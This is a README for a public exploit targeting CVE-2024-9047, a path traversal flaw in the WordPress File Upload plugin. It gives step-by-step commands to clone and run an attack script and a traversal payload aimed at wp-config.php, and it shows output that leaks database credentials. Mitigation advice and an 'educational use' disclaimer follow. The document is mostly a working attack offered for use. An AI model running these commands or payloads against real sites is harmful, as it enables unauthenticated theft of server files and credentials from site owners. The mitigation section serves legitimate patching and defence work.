CVE-2024-9047: Exploit for WordPress File Upload Plugin

Description

The WordPress File Upload plugin for WordPress is vulnerable to a Path Traversal vulnerability in all versions up to, and including, 4.24.11 via the wfu_file_downloader.php file. This vulnerability allows unauthenticated attackers to read or delete files outside of the intended directory. Successful exploitation requires the targeted WordPress installation to be running PHP 7.4 or earlier.

Impact

• Severity: Critical
• CVSS Score: 9.8 (Critical)
• Attack Vector: Network
• Authentication Required: No

Exploitation

An attacker can exploit this vulnerability by crafting a specific request to the vulnerable endpoint, wfu_file_downloader.php, and manipulate the file path parameter to gain unauthorized access to sensitive files on the server.

Exploit Details

Requirements

• The targeted WordPress installation must have the vulnerable plugin installed (4.24.11 or earlier).
• The server must run PHP version 7.4 or earlier.

Steps to Exploit

1. Clone this repository:

   root@kitploit:~

   git clone https://github.com/Nxploited/CVE-2024-9047-Exploit.git
   cd CVE-2024-9047-Exploit
   

2. Install Python dependencies (if necessary):

   root@kitploit:~

   pip install requests
   

3. Run the script to check the plugin version and exploit the vulnerability:

   root@kitploit:~

   python3 CVE-2024-9047.py --url http://target-site.com --command /../../../../../path/to/target/file
   

Example Usage

To exploit the default vulnerable configuration and read the WordPress configuration file:

python3 CVE-2024-9047.py --url http://192.168.1.100 --command /../../../../../opt/lampp/htdocs/wordpress/wp-config.php

Result

C:\Users\Nxploit\Desktop\-C>python CVE-2024-9047.py -u http://192.168.100.74:888/wordpress/
Detected version: "trunk"
The site is vulnerable!
Exploit successful! Response:
<?php

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress7' );

/** Database username */
define( 'DB_USER', 'root' );

/** Database password */
define( 'DB_PASSWORD', '' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+

Mitigation

To protect your WordPress site:

1. Update the WordPress File Upload plugin to the latest version.
2. Ensure the PHP version is updated to a supported version (higher than 7.4).
3. Restrict file permissions to prevent unauthorized access to sensitive files.
4. Use a Web Application Firewall (WAF) to block malicious requests.

Disclaimer

This code is intended for educational and research purposes only. Unauthorized use of this script on systems you do not own or have explicit permission to test is illegal and unethical. The authors take no responsibility for any misuse of this code.